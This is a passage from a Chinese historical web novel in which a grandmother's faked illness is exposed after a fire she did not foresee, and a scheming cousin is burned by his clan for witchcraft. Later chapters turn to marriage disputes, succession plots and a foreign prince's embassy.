郑文煊眼皮子一跳,暗道不好。 他知道郑老太太是假中风,可是旁人都不知道…… 卢氏疑惑道:“达哥儿,你在说什么?婆母中风两年多,怎么能给大师银子呢?” 康氏捂着嘴,惊喜道:“莫非婆母好了?” 叶绯霜道:“没有吧?刚才傅姐姐不是还说,祖母两年多了都没有起色,是被我诅咒的吗?怎么会一下子好了呢?” 大家可都听见了,傅湘语的确这么说了。 傅湘语脸色煞白,讷讷的:“我,我……” “婆母到底好了没有?”卢氏问傅湘语。 傅湘语摇摇头,哆嗦着嘴唇,什么都说不出来。 她不知道该怎么说,到底是好了还是没好?事情为何会发展成现在这个样子? 郑文朗直接问明觉:“大师,我祖母可曾给过你五万两银子?” “没有的事!”明觉即刻反驳,“贫僧一心向佛,毕生只为普度众生,如何会贪恋那些黄白之物!万不可因一人之言,污了贫僧清名!” 明觉宛如受到了巨大的羞辱,摇摇头道:“贫僧只为铲奸除秽而来,不曾想沾了满身腥!也罢也罢,看来贫僧与众位施主无缘,不愿卷入众位的恩怨中,阿弥陀佛,贫僧先告辞了。” 说罢,带着他的小童,头也不回地疾步走了。 太夫人简直要气懵了,她礼佛,对佛门中人向来尊敬,傅闻达这个可恶的外姓男竟然让郑家得罪了一位大师! “岂有此理!包藏祸心行厌胜之术,还不知悔改,妄图拉大师下水!”族长怒瞪着傅闻达,“来人,把傅闻达带下去,等族人商议后发落!” “等一下。”太夫人制止了族长,问傅闻达,“我再问你一遍,你刚说的老太太给了大师五万两银子,可是真的?” 傅闻达神色怔忪,双眼放空,这才后知后觉地意识到自己刚才说了什么。 “没有,我是胡说的。”傅闻达否认,只盼着保住外祖母,然后外祖母还能来捞自己一把。 太夫人显然不信,她思忖片刻,说:“去鼎福居!” 她倒是要亲眼去看看,郑老太婆是不是已经好了! 郑文煊忙劝:“太夫人,天色已晚,您今日也忙了一天了,不如先回去歇息。” 太夫人冷哼:“出了这么大的事,老身睡得着吗?不把事情弄清楚,这里这么多人,谁睡得着!” 一位族叔说:“是啊,郑府这段时间,一直都乱糟糟的。一会儿说四房不详,一会儿说二房闹鬼,一会儿又说五房闹鬼还把五老爷给害了,这下又出了巫蛊!这桩桩件件,不弄个清楚明白,谁的心能安下来?” 太夫人一马当先:“去鼎福居!” 叶绯霜不禁啧嘴,真是老当益壮,这精神头,太让人羡慕了。 而此时鼎福居里的郑老太太,正坐立不安。 刚才一行人来了鼎福居,说是奉了族长之命,来搜查秽物。 可是秽物不是在玉琅阁吗?怎么会来鼎福居搜? 郑老太太立刻着人去打听,可是最能干的罗妈妈已经不在了,现在新提上来的婆子姓万,明显不中用,竟然什么都没打听出来。 郑老太太又忧心又不安,只能把火撒到万婆子头上,把万婆子狠狠骂了一通。 万婆子委屈得不敢吭声。 可是一出内室,万婆子脸上的委屈就消失了,转为了愤恨和怨怼,还朝内室“呸”了一声。 她一直是罗妈妈带着的,许多年了,旁人都说等罗妈妈退下来,她就能顶上去了,当郑府最体面的嬷嬷。 体面不体面的万婆子倒不在乎,她只盼着罗妈妈好好的,退下来后也能指点指点自己,她已经习惯了跟在罗妈妈身后。 可谁知,罗妈妈就这么没了。 老太太实在心狠,跟了她那么些年的罗妈妈,竟也说杀就杀。 自己留在鼎福居,以后是什么下场呢? 感觉罗妈妈就是前车之鉴。 她心疼罗妈妈,恨老太太。 谁知此时,隔壁忽然响起一声尖叫:“啊,走水了!” 万婆子急忙看了一眼,熊熊烈火朝这边烧来,火势极大。 内室的郑老太太叫了起来。 万婆子刚想冲进去救她,可是又犹豫了。 她想到了惨死的罗妈妈。 万婆子狠了狠心,转身跑了出去,还把门关得严严的,不管郑老太太了。 第191章 反将一军 正往鼎福居赶的众人谁也没想到鼎福居忽然就火光冲天了。 “快去救火!”族长朝身后的族人大喊,“务必保证老太太的安全!” 郑文煊和郑文朗还有叶绯霜这些小辈也拔腿赶了过去。 郑文煊赶到院门口,忙问:“祖母呢?” 一个小丫鬟答:“还在里边……” 郑文煊怒吼:“怎么还在里边?去救啊!” 丫鬟哭着说:“大公子,这火太大了,没人进得去啊!” “一群饭桶!”郑文煊怒骂着,就要往里边冲,被郑文朗拽住了。 “大哥,你冷静点。”郑文朗说,“让下人去救。” 匆匆赶来的卢氏也劝:“煊哥儿,我知道你是个孝顺的,但你别急,更别以身犯险!” 郑文煊不断挣扎着:“不行,我要去救祖母,祖母在里边!” “大哥哥!”叶绯霜也拽住了他,“着火太大了,万一房子塌了怎么办?你想想大伯父和大伯母,还有二姐姐她们,你要是有个好歹,他们又该如何呢?” 郑文煊脸上闪过一抹犹豫,但孝道当前,他还是要去。 郑文煊用力甩开叶绯霜和郑文朗,刚要冲进去,却忽听有人大喊一声:“呀,这是谁出来了?” 于是,几十双眼睛都看见,传说中中风两年卧床不起的郑老太太,披着一床湿棉被,从大火里腿脚利落地冲了出来,还口齿清晰地大骂救火的下人们,怪他们为何不去救自己。 又骂暗卫,可是暗卫们都在院外巡守,谁想到竟然从老太太的正房里起了那么大的火?谁也赶不及。 院门口的族人全都傻了眼。 郑老太太意识到不对劲,转身一看,黑压压的一群人。 她僵在原地,如遭雷击,一个字都说不出来了。 熊熊大火噼里啪啦地燃烧着,通红的火光映照着这堪比话本子的荒诞一幕。 族中每个月都会来人看望郑老太太,给她送补品,表达关切之意。 距离上次探望,才过去了几天而已。 上次来探病的是位族婶,现在正扶着太夫人,呆呆地说:“我前几天来,老太太还双眼呆滞、口角流涎呢,怎么这才几天过去,就已然大好了?” 太夫人老眼深沉,嗤笑道:“怕是早就好了,一直装病。或者,根本就没病呢?” 这么大年纪的人,中风哪怕好了,也会有点后遗症。可看郑老太太现在的样子,哪像有一点病的? 后边一些惯来喜欢看好戏的族人不禁咂咂嘴,这一晚,属实太精彩了。 鼎福居是不能用了,于是一行人去了三房。 太夫人问郑老太太:“你是何时大好的?” 郑老太太掐着眉心靠在椅子里,边咳边说:“就前几天。” 太夫人冷笑连连:“你看你,这么好的消息,也不和族里说一声。” 郑老太太:“族里忙着大祭,我准备等大祭完再说。” 可是话音刚落,就有个中年妇人蹿出来,跪倒在地,指着郑老太太怒喊:“其实老太太根本就没病!她一开始就是装的!” 即便太夫人早有猜测,但真听人这么说,还是骇了一大跳。 郑文煊闭上眼,暗想,完了。 太夫人立刻道:“你是何人?你有什么证据?” 妇人流泪磕头:“奴婢是账房樊田的媳妇,婆母姓罗,原是老太太身边的嬷嬷。” 族中人凡是到鼎福居见过郑老太太的,就没有不知道罗妈妈的。 太夫人又问:“你婆母呢?” “没了。”妇人咬牙,“就因为婆母撞见了杨姨娘的鬼魂,说了些不该说的话,竟被老太太给处死了!” 本来杨姨娘这个名号已经在郑府消失了许多年,很难被人想起了。 但因为这阵子郑府闹鬼,大家全都记起了这位二老爷的生母。 妇人继续道:“老太太怕婆母把她这些年所做之事告诉我们,还想杀我们一家子灭口!幸好婆母死前有察觉,偷偷派人告诉我们,我们一家子躲了出去,才逃过一劫!” 妇人泪眼朦胧地看着郑老太太,哀声痛哭:“老太太,婆母对您一向忠心耿耿,她是绝对不会背叛您的,您为何要听信谗言,要了她的性命呢!” “混账!”郑老太太不认,“你婆母分明是心虚自戕,如何是我逼死的?丧良心的狗奴才,竟敢冤我!” 妇人从袖中拿出一包药,递给族长:“这就是老太太一直吃的药了,吃完之后状若中风,她就是这么装的!族长要是不信,大可去唤一直为老太太看诊的府医,一问便知!” 府医也一直住在鼎福居里,差点葬身于火海之中,还好让人救出来了。 浑身乌漆嘛黑的府医一看这架势,便知事情已然败露,只能把郑老太太装病之事交代了个干净。 “好,好。”太夫人连拍几下桌几,斥道,“秦氏,你便是如此愚弄族人!你其心可诛!” 事到如今,郑老太太也不装了,直接反唇相讥:“是你们蠢!” 这才是真正的死不悔改,几个字就把族人们的怒火都挑了起来。 郑老太太看向叶绯霜。 她老了,这两年又添了许多疲态,一双三角眼眼尾彻底耷拉了下来,本该没什么精神,却因为憎恶和怨愤,显得狰狞又阴森。 靳氏被她这眼神看得心下发紧,把叶绯霜往自己身后拦了拦,挡在她身前。 “你都做了什么?”郑老太太问。 叶绯霜乖乖站在靳氏身后,用一款老实巴交毫无心机的眼神回视着郑老太太,说:“孙女不懂祖母在说什么。” “那个匣子,是我让人放进玉琅阁的,如何会跑到达哥儿的房间里?”郑老太太一字一顿,“鼎福居的火,又是怎么起的?” 郑老太太也不藏着掖着了,她把所有的事情都抖出来,只想弄个明白。 她们明明计划得很好,到底是哪里出了岔子,竟被反将一军。 她活了一辈子,争了一辈子,斗了一辈子,临了,竟然栽在了一个小姑娘这里。 即便要死,她也要死个明白。 第192章 傅闻达死 “说,你都做了什么!”郑老太太质问叶绯霜。 “祖母,我真的不明白您的意思。” “就是你在捣鬼!二房、五房,还有今日的巫蛊,不都是你做的?”郑老太太忽然起身朝叶绯霜扑来,“你害我、害达哥儿和语娘,我做鬼也不会放过你!” 郑老太太被郑涟拦住了,抬手就扇了郑涟一个耳光。 郑涟护在妻女前边:“霜儿谁都没害,是你们自作孽。” “呸!”郑老太太怒瞪着郑涟,“你们一家子,没一个好东西!” 郑涟嗤笑一声,嘲讽道:“不及母亲远矣。” “你这个逆子,我就不该让你活下来!我早该弄死你!” “够了!”族长听不下去了,对身边的仆从道,“请老太太去内室休息。” “我好得很!”郑老太太才不走,要求族长,“放了达哥儿和语娘。” 太夫人不同意:“傅闻达行巫蛊之术,有祸害郑氏一族的隐患,不可轻易放过。” 郑老太太亦很强硬:“把人放回来!” 她这一辈子生了三个儿子和一个女儿,女儿早亡,只留下傅闻达和傅湘语。 郑老太太怀念女儿,心疼外孙和外孙女,这才把两个孩子接到自己身边照顾。 她绝对不能让亡女的两个孩子出事。 所以她态度强硬地跟组长和太夫人对峙。 叶绯霜说话了:“祖母,傅表哥这次做的事情祸及郑氏全族。我们体谅祖母拳拳之心,但也请祖母为郑氏一族考虑。” “放肆!”郑老太太斥道,“这里轮得到你说话?” “傅表哥的偶人已经害了五叔,下一个很可能就是我父亲。身为人女,自然要替父亲说话。”叶绯霜讥讽道,“我虽然跟着养父姓叶,但我时刻记得自己是郑家一员。不像祖母,嫁来郑家数十年,却还只记得自己本家,损郑利秦之事您干了多少,您还数得清吗?” 叶绯霜一席话,让在场众人把郑老太太干过的好事全都想起来了。 是啊,这个老太婆只记得她们秦家人,害了多少郑家人? 郑老太太颊肉巨颤,呼吸粗重急促,脸上遍布愤怒的潮红。 叶绯霜看向太夫人和族长:“明觉大师刚才不是说了吗?唯有火刑可破此蛊术。看来,只需将傅表哥处以火刑即可。” “你们敢!”郑老太太怒目圆睁,“我看谁敢动达哥儿!” “祖母,傅表哥可连大伯三伯七叔一起诅咒进去了。难道您为了外孙,连亲儿子都不顾了?” “你,你这个……” 太夫人和族长对视,都看到了彼此眼中的冷厉。 傅闻达在他们眼中,就是切切实实的外人。在外人和郑家人之间,他们肯定选郑家人。 为保阖族安宁,牺牲一个傅闻达算什么? 而且,他本来就该死。 郑老太太看出族长和太夫人的意思,登时心下大惊,忙道:“我家达哥儿是举人,有功名在身,我看谁敢动他!” 叶绯霜嗤笑:“祖母难道没听过一个词叫‘十恶不赦’?十恶重罪中有一条为‘不睦’,意为谋杀缌麻以上亲。傅表哥以巫蛊之术谋害各位娘舅,犯的便是此罪。别说他是举人了,他是状元都不行。” 郑文朗有些意外地看了叶绯霜一眼,显然没想到她还熟知律法。 郑老太太真是后悔极了。 后悔没在叶绯霜回郑府之前弄死她,这才惹来如今这么大的祸端! 叶绯霜继续说:“祖母,惯子如杀子。傅表哥今日犯了这么大的错,您还护着他,岂非纵容?他日要是表哥犯了更大的错,连累郑氏全族,您不就是帮凶?” 有不少族人暗暗点头,认同叶绯霜的话。 傅闻达连巫蛊这种事都做得出来,简直胆大包天,他日谋反谋叛谋大逆,岂非整个荥阳郑氏都给他陪葬? 一直缩在后边的康氏出声了:“母亲,您想想五老爷。若非达哥儿行巫蛊,秋姨娘的鬼魂岂会被招出来?五老爷又何至于……既然祸事是达哥儿引出来的,也该由他了结!” 族人们一想五老爷的惨状,就觉得幻肢疼痛。若不把傅闻达处理了,被他记恨上,哪天害到自己头上怎么办? 一位族叔立刻说:“对,就该将傅闻达处以火刑,好破此法!” “是了,烧死他,祸根就除了!” 郑老太太面色煞白:“你们……你们不能!不能这么做!” 但并没有人听她的话。 傅闻达很快被带了出来。 他被五花大绑,嘴巴也被麻布塞着,求饶辩解的话一句都说不出来。 看着架起的火堆,傅闻达意识到了什么,剧烈挣扎起来。 傅湘语放声痛哭,不停替兄长求情,可根本无济于事。 傅闻达被绑到了火堆上。他双目瞠大,目眦尽裂,眼中充满了对死亡的恐惧。 叶绯霜津津有味地欣赏着傅闻达的惊恐和傅湘语的惧怕。 还记得当初在鼎福居,自己孤立无援时,这对兄妹也是这么看自己的。 死亡的滋味,也该让他们尝尝了。 火堆燃起,傅闻达和那个被丢到他脚下的装了偶人的匣子,一起被火舌吞噬。 傅湘语大喊着“不”,往火堆里爬,很快就被热浪逼退。 她只能眼睁睁地看着兄长被烈火吞噬。 “哥哥!”傅湘语声嘶力竭地大喊,“哥!” 鼎福居的大火灭了,面前的火堆也灭了,天亮了。 一束晨光自靛青色的天际冒出,照在被烧成碳的傅闻达身上。 害人终害己,这便是最好的证明。 郑老太太悲极攻心,一口气没提上来,晕了过去。 傅湘语趴在傅闻达的尸体旁哭得撕心裂肺,傅闻达的尸体被抬走,她也跌跌撞撞地跟着去了。 族中其他人也准备散去。 整整忙活了一天一夜,谁也累了。 此时,有个小厮过来通报:“杜大人来了。” 身为一府长官,看见郑府起火,杜知府必是要来问一问情况的。 叶绯霜看见了稳步走来的杜知府。 他身侧还有一个人,陈宴。 陈宴将叶绯霜从头到脚扫视了一遍,见她安然无恙,明显松了口气。 但还是忍不住问:“你可还好?” “我很好。”叶绯霜说,“傅湘语不太好。” 陈宴神情不变:“她与我何干?” 叶绯霜反问:“那我又与陈公子何干?” “退婚书还没给,流程没走完,这门婚就不算退了。”陈宴说,“你还是我未婚妻,我关心你是应该的。” 叶绯霜:“……你别给我来这些有的没的,陈宴。你再这样,我亲自去找陈老太爷要退婚书。” “好啊,你去。”陈宴说,“只要你找得到祖父。” 叶绯霜:“……” 拳头硬了。 她感觉陈宴在挑衅她。 第193章 向你保证 那头,族长在和杜知府说鼎福居起火之事。 “唉,一个不注意,就走水了,幸好及时扑灭了。”族长说。 杜知府问:“可有伤亡?” “我家老太太的外孙傅闻达,为了把他外祖母从鼎福居背出来,不慎受了伤。老太太救出来了,但他自己没出来,人没了。” 家丑不可外扬,族长给了傅闻达一个很体面的死法。 杜知府感慨:“傅郎君乃至孝之人。” 在场族人的嘴角不禁抽了抽。 能给长辈施蛊术,如此险恶,还至孝,太可笑了。 陈宴微扬眉梢,低声问叶绯霜:“他真是这么死的?” “不然呢?” “我感觉不是。” 叶绯霜说:“不管实情如何,以后人们只会知道他是这么死的。” “也是。反正人都死了,缘由倒没多重要。”陈宴颔首,“你没事就好。” 他昨晚看到了城内的火光,今晨进城一问,才知道起火的是郑府。 他的心当时就提了起来,怕叶绯霜出事。 他立刻赶来郑府,在路上遇见了杜知府,索性就一起来了。 现在知道起火的是鼎福居,还把傅闻达烧死了,叶绯霜安然无恙,所以他觉得…… “这把火是你放的。”他说。 不是疑问,而是肯定。 “陈公子太高看我了。”叶绯霜很谦虚,“我哪有这本事。” 陈宴:“五姑娘的本事一直很大。” 那头,杜知府还在和族长寒暄。 “郑老太太可好?”杜知府关切地问。 “好得很,一点伤都没受,就连中风都好了。”族长说。 杜知府点点头,温和道:“郑老太太吉人自有天相。傅郎君的离去想必会让老太太伤心欲绝,希望老太太珍重自身。” 族长忙道:“会向老太太转达杜大人的关心。” 叶绯霜觉得,她和杜知府才是知己。 他们都一样,明明恨不得将那死老太婆大卸八块,面上却丝毫不显,漂亮话一套一套的。 陈宴微微侧身,在叶绯霜耳边来了句:“我不会纳傅湘语为妾。” 叶绯霜给了他一个莫名其妙的眼神:“……梦到哪句说哪句?” “我也不会纳赵芳菲。”他继续道,“我不会纳任何妾室。” “这是你自己的事情。” “虽然我不清楚我和你前世到底发生了什么,但我可以保证,这一世和前世不一样。我……我也和前世不一样。” 这点叶绯霜倒是不否认。目前来看,陈宴和前世的确不一样,相差很大。 但叶绯霜觉得,这只是他的表象。 他步入官场后,会不会逐渐变成前世那样?狠厉无情、铁面无私,身上简直没有任何人情味。 叶绯霜觉得很有可能。 环境的确可以影响一个人,但应该不会把一个人变得面目全非,尤其是陈宴这样,自我认知明确、心志很坚定的人。 除非,他本来就是一个那样的人,环境只是磨掉了他的伪装,露出了他的底色。 叶绯霜觉得自己的眼神现在应该很具有穿透力,可以刺穿陈宴温雅的皮,看到他狠辣的骨。 陈宴并不知道叶绯霜在想什么,继续说:“我不会纳妾,我身边也不会有其他任何女子。如果前世你我是因为这个生出了隔阂,那这一世不会了。我保证会尊重你,爱敬你,我身边只会有你一个人。” 叶绯霜左耳进右耳出。 “陈公子,你不必和我说这些,我们没有将来。” “话不要说得太满。既然五姑娘不承认有前世,那看来不愿意和我在一起只是因为不喜欢我。”陈宴道,“五姑娘现在不喜欢我不要紧,说不定再过几年,你就喜欢上我了呢。” 叶绯霜面无表情:“再过几辈子我也不会喜欢上你。” “就因为我不是你喜欢的类型?” “当然。” “那你喜欢的是谁?” “我谁也不喜欢。” “那你怎么知道你喜欢什么类型。” 叶绯霜:“?” 陈宴对上她充满疑问的视线,缓声道:“是吧?既然你没有喜欢的人,那你怎么知道你喜欢什么类型?又怎么确定我一定不是你喜欢的类型?” “……我喜欢宁衡。” “你不喜欢。璐王妃说,你已经明确拒绝了给她当儿媳的提议。” 叶绯霜很无语:“你是把我当成了一种挑战吗?让我喜欢上你,你就获得了某种意义上的成功?” “不是挑战。”陈晏说,“是愿望。” “注定落空的愿望。” 陈晏说:“我会努力。” 前世做得不好,那就这辈子加倍做好。 他这些日子冷静地想过了,前世他一定做得不好,那就在这一世弥补。虽然目前无法确定他到底犯了什么错,但是弥补就对了。 反正他又不至于前世把她给杀了。 也不会有不共戴天那种深仇大恨,否则她早来杀他了。 所以陈晏推定他是有弥补的机会的。 此时郑文朗漫步走了过来:“呦,清言来了。” 郑文朗比陈宴大两岁,于是陈宴拱手一礼:“郑三哥。” 也不知道郑文朗是有眼色还是没眼色,他直接挤到了叶绯霜和陈宴中间。 叶绯霜乐得往旁边挪了两步。 “清言和我五妹妹说什么呢?”郑文朗问,“我记得二位的婚约已经退了啊,再过从亲密就不太合适了吧?” 陈宴不疾不徐地答:“五姑娘问我退婚书什么时候可以送达。我说祖父归期未定,我也不清楚。” 郑文朗听出陈宴是在暗示婚约还没退完,但他不在意,朝叶绯霜笑了笑:“五妹妹莫急,迟早的事。” 叶绯霜忽然觉得郑文朗也没那么讨厌了,毕竟说的都是自己爱听的。 “那就借三哥哥吉言了。”她说。 陈宴淡淡扫了郑文朗一眼,郑文朗笑面虎似的。 杜知府和族长说了一会儿话就离开了,陈宴跟他来的,自然也和他一起走。 陈宴走后,郑文朗笑眯眯地问叶绯霜:“陈三郎芝兰玉树,五妹妹竟不喜欢?” 叶绯霜脸不红心不跳:“我还小,不懂什么情情爱爱。” 郑文朗“噗”的一声笑了,转了话题:“我早就说五妹妹是个聪明人,如今看来,我的确没看走眼。昨晚那出戏,实在精彩。” 叶绯霜不认为郑文朗能知道自己都做了什么,她懵懂地眨眨眼:“什么戏?三哥哥说什么呢?” 郑文朗见惯了人装傻充愣,也不拆穿,而是绕着叶绯霜转了一圈,慢悠悠地问:“我这次回京,五妹妹跟我一起可好?” 这话倒是出乎叶绯霜的意料:“哦?” “五妹妹不喜陈三郎,难道不是为了找更好的?”他说,“五妹妹跟我进京,我保你日后成为天下女子至尊至贵之人,如何?” 第194章 别利用我 日光照耀下,叶绯霜素白祭服上的银色暗纹水波般流动。 她的目光清澈明湛,说话也直爽:“怎么,京中形势不容乐观,三哥不敢押宝了?” 郑文朗用小指挠了挠额角:“五妹妹都知道了什么?” “要是可以确定哪位皇子是大位继承人,那三姐姐的婚事肯定就能订下了,轮不到我。现在三哥想把我也搭进去,无非就是至少有两位皇子平分秋色,郑家想两方押宝。” 她的三姐,也就是郑文朗的胞妹——郑茜薇,就是冲着未来皇后那个位置去的。 郑茜薇一直在宫中,由卢贵妃亲自教养。目前还没有订下要将她许给哪位皇子,可见还在观察。 虽然大昭有太子,但是地位明显不稳,否则郑茜薇早成太子妃了。 郑文朗乐了:“我就说五妹妹是个聪明人。怎么样,五妹妹,你想做皇后吗?” “当然不想。” “皇后一人之下万人之上,是女子中最为尊贵者,你不想?” “我不想。”叶绯霜说,“一人之下和万人之下,在我看来没什么区别,都要受制于人。” “这世上有谁不受制于人?” “所以三哥哥就心安理得地来利用我了?” 郑文朗还是笑眯眯的:“五妹妹这话说的,各取所需而已,怎么会是利用呢?” 他这两天一直在观察叶绯霜,经过昨晚,他更加确定叶绯霜是个很合适的人。 面对灾祸时,镇定自若、临危不乱。 如果傅闻达真的是被她反将一军从而上了黄泉路,那更证明她聪慧有谋略。 她太合适了。 年纪也刚好,正可雕琢。带到京中,找人好好培养个一两年,就可以发嫁了。 郑文朗觉得这位五妹妹简直就是上天为郑家量身定做的一颗好棋。 “我对嫁皇子、当皇后没有任何兴趣。”叶绯霜抱着双臂,“但如果三哥可以保我成为天下至尊至贵之人,我还是可以考虑一下的。” 她咬重了“保”字,郑文朗这么信誓旦旦,当她三岁小孩?真不怕把牛皮给吹破了。 不看看自己算什么,多大本事,家里没镜子还没尿? 郑文朗脸上的笑容顿时一僵。 她这话,比他刚才说的,少了“女子”二人。 天下女子至尊至贵的,是皇后。 天下至尊至贵的,那只能是…… 郑文朗眼中狠色顿显:“叶绯霜,你活腻歪了?这么大逆不道的话也敢说?” “实话啊,三哥不爱听?”叶绯霜笑道,“三哥去街上问问,哪怕是街头乞儿,也有个皇帝梦吧?我怎么就不能想了?自古以来,又不是没有女帝。” 郑文朗急忙环视一圈四周,见没有闲杂人等,才重重舒了口气。 “你知不知道你刚才的话要是被人听到,传出去,整个郑家都要跟着你遭殃?” “我知道啊。我也告诉三哥,玩火反被火燎的人多得是。三哥别想拿我当棋子来为郑家争光,否则被反噬了,那只能说是三哥自找的。三哥博览群书,应该记得前朝一个叫廖茂的人。” 廖茂这个人的故事,还是前世陈宴给她讲的。 廖茂是前朝一个小家族里的人,父亲死得早,自己和寡母幼妹相依为命,但屡受族人欺压。 房产、田产都被族人相继剥削走后,一家人无以为生,廖茂的寡母带着幼妹投了河。 廖茂身无分文,想和族人借二两银子买两口薄棺收敛母亲妹妹,可族人没给钱还羞辱了他一通,然后转头去喝酒了,他那坛酒都不止二两银子。 廖茂只得刨了两个坑,把腐烂发臭的母亲妹妹埋葬进去,任由她们的尸骨被虫蚁啃噬。 廖茂恨极了他的族人,但他只是个未冠少年,无法单凭自己向族人们报仇。 于是廖茂采取了一个十分简单粗暴的法子—— 他阉了自己,净身入宫,刺杀帝王。 当然没成功,他也没想着成功。 他只想被诛九族。 阖族斩首,廖茂被判凌迟。 据说行刑时,廖茂一直在笑,双腿被割得只剩下累累白骨亦不曾咽气。直到听见廖氏最后一个人已经人头落地,他才安心死去。 以身为饵,拖整个宗族入水,让一百七十九人给自己和母亲妹妹陪葬。 不可否认是个狠人。 郑文朗正色,认真打量起这位五妹妹来。 “我就直说了,我从小不在郑家长大,回来后祖母又这么对我,我对郑家没有任何感情,当然也不会牺牲自己来光耀郑家的门楣。我嫁人与否、嫁给何人,这都是我自己的事情,而不是你们用来博弈的筹码。若把我逼急了,我不怕做下一个廖茂,你们谁也别想好过。” 她眉目舒朗,笑语轻盈,但郑文朗并不觉得她在开玩笑。 她是真的敢。 叶绯霜的背影已经消失在了花径尽头,郑文朗还是没有抬步。 直到身后传来一句:“我早就和你说过,她不会愿意。” “大哥什么时候来的?” “刚刚。”郑文煊说,“从我第一次见她,我就知道她不会受人摆布。” 郑文朗绷紧唇角:“可她真的很合适,太合适了。” 在沉稳、聪颖之外,现在又多了一份狠厉。 这样的人若能入主中宫,一定可以让郑家成为至高无上的外戚世家。 郑文煊摇头:“不要想了,她不会甘愿困于宫墙之内的。” 郑文朗沉默半晌,才又说:“若圣旨真的下来,我不信她敢抗旨。她虽说不在乎郑氏族人,难道她连她爹娘都不在乎吗?” “上一个拿她爹娘要挟她的是祖母和傅闻达,你想想下场。” 郑文朗轻哂:“那是他们无能。” 祖母一介女流,傅闻达不上台面,他郑三公子岂会和他们一样? 郑文煊摇了摇头。 他和郑文朗一起长大,堂兄弟处得和亲兄弟没两样,他太了解郑文朗这种不达目的不罢休的性子了。 偏偏他这次盯上的是五妹妹,这二人哪个都不是会退让的。 “我可以让六殿下亲自来看看。”郑文朗又道,“六殿下人中龙凤,说不定五妹妹就看上了呢?皆大欢喜。” 郑文煊懒得再打击他。 兄弟二人并肩而行,郑文朗转而又问:“大哥何时回京?” “后日。” “大晟十年来第一次遣使来我朝,陛下将此事交给太子殿下全权负责,詹事府应该忙疯了。” 郑文煊不置可否。 “可知使臣是谁?” “大晟储君应当会来。” 郑文朗“嚯”了一声:“难怪陛下如此重视。听说大晟储君还未及冠,只有十七,不知风姿几许。” 郑文煊道:“大晟坊间有传,大晟储君燕颂,典雅清逸、品貌一流。” 郑文朗:“哦?那拭目以待了。” 第195章 想跑没门 此时,距离大昭京城还有几月行程的苍茫山水间,一行绵延数十里的仪仗队正在不紧不慢地行进着。 这支队伍鸾鸣玉勒,鸣珂青盖,飘扬的龙纹旌旗上纹绣着霸气的“晟”字。 最中间那辆大如厅堂的华丽马车内,一华服少年斜卧软榻,由身边的美婢把剥了皮的葡萄喂入口中。 他朝婢女飒然一笑,逗得婢女美面嫣红,才不紧不慢地说:“晌午了,兄长起了吧?请他过来用膳。” 美婢瑟缩着说:“悬光殿下已经不在了。” 少年的笑容顿时僵住,凤目圆睁,拍案而起:“他又跑了?” 美婢:“昨晚就走了。” 少年一手叉着腰,一手扶着额头,一副下一刻就要厥过去的样子。 美婢连忙扶住自家太子,从袖中拿出一封信笺:“悬光殿下给您留了手信。” 少年——即大晟太子燕颂把手信打开一看,偌大的纸张上只有一行潇洒飘逸的草书: 吾弟较上次见面丑多矣。 燕颂“砰”的一声倒回榻里,急忙吩咐美婢拿镜子来。 他左照右照,没看出自己这张脸哪里丑了。 他问美婢:“我与兄长孰美?” 美婢十分诚实:“君美甚,但悬光殿下美貌无人能及。” 燕颂:“……” 比不过脸,他开始给自家兄长泼脏水:“你说他天天往大昭跑,他是不是想叛国?” 美婢:“不会的,悬光殿下这么做一定有他的原因。” “兄长说找到了他阿姐,追他阿姐去了。我和他穿一条裤子长大,他有个屁阿姐?分明就是借口,他就是去玩了!找借口都不找个像样的。” 燕颂嘟囔:“把这破储君之位扔给我,我成天累死累活,他倒天大地大纵情翱翔去了,哼。” 美婢只听到了后一句没听到前一句,急忙安抚自家主子:“悬光殿下和您兄弟情深,虽身在远方,却常常与您通信的。” “通信,呵。” 燕颂都懒得说。他寄给兄长的每封信都有数十页,既说大晟朝堂之事,又说父皇母后一切安好,再发发自己的牢骚,最后表达对兄长的关切之意。 而兄长每次的回信只有两个字:钱来。 这叫兄弟情深? 燕颂不想了,再想真要背过气去了。 半晌,又忍不住问:“兄长这次带了什么走?” 美婢答:“银票,其它没了。” 燕颂长叹一口气,爬起来开始看折子。 大晟虽然现在国富力强,但不可懈怠,他得努力治理,让大晟更加鼎盛,才能好好奉养兄长。 此时的鼎福居内,傅湘语正抱着郑老太太痛哭。 “祖母,哥哥死得好惨!” 郑老太太亦老泪纵横。 “祖母,那个装了偶人的匣子,怎么会跑到哥哥衣柜里的?”傅湘语哽咽着问,“到底是哪里出了纰漏?” 郑老太太说:“鼎福居出了叛徒。” 傅湘语大惊:“是谁?鼎福居里的不都是咱们用了许多年的人吗?” 郑老太太吩咐手底下的人:“把鼎福居的下人都叫过来!” 很快,鼎福居从婆子到丫鬟,都聚集到了厅堂里。 傅湘语一看就发现少了好几个人。 “那几个呢?” “烧死了。”一个婆子红着眼回答,“明秀,渡儿,小胆瓶还有香梨都烧死了。” 郑老太太嘴角抽了抽,狠狠一拍案几。 烧死了?怕是跑了吧! 这四个未必全是叛徒,但叛徒一定在这四个里边! 该死! “绿蕊姐姐,这个好吃!”被“烧死”的明秀此时嘴里塞得满满的,“以前小桃带给我的都是凉了的,已经很好吃了,没想到刚出锅的更好吃!” “慢点吃,还多着呢。”绿蕊说,“你以后就在味馨坊里做事了,我都怕你吃腻了。” “不会的,我特别爱吃点心,多少我都不会吃腻!” 明秀开心极了,以后不用在鼎福居又累又饿还要挨骂了,就在香香的味馨坊里干活,能和大家一起玩,还有吃不完的点心,天啊,这是什么神仙日子! 她只是帮五姑娘办了几件小事而已,就换来以后的神仙日子,太值了! 几天前,也就是罗妈妈撞鬼后,她偷偷去见了五姑娘。 五姑娘说老太太可能容不下罗妈妈了,让她问罗妈妈,可要保她的家人。 罗妈妈当然要保,于是写了一封遗书,五姑娘拿着遗书说服了罗妈妈的家人先藏起来,并且让罗妈妈儿媳妇来指认老太太装病。 五姑娘还给了她一包东西,让她在宗族大祭这晚,在郑老太太房外烧。 她平时在鼎福居里经常做洒扫之类的活儿,所以在院子里晃也不会惹人注意。 然后一位高高瘦瘦的叫李珍的姑娘趁着大火把她带出了鼎福居。 以前明秀就很羡慕小桃跟了一个好主子,这下好了,以后她也有好日子了。 此时的鼎福居内,小桃给叶绯霜带来最新消息:郑老太太要带着傅湘语跟着郑文煊去京城了。 叶绯霜并不意外,毕竟她装病的事情已经败露,未免尴尬,索性先跑了再说。 “姑娘,就让她这么走了吗?”李珠问,“这算不算放虎归山?” 这对孪生姐妹中,李珍是姐姐,性子稳重。李珠是妹妹,性子跳脱,话也多。 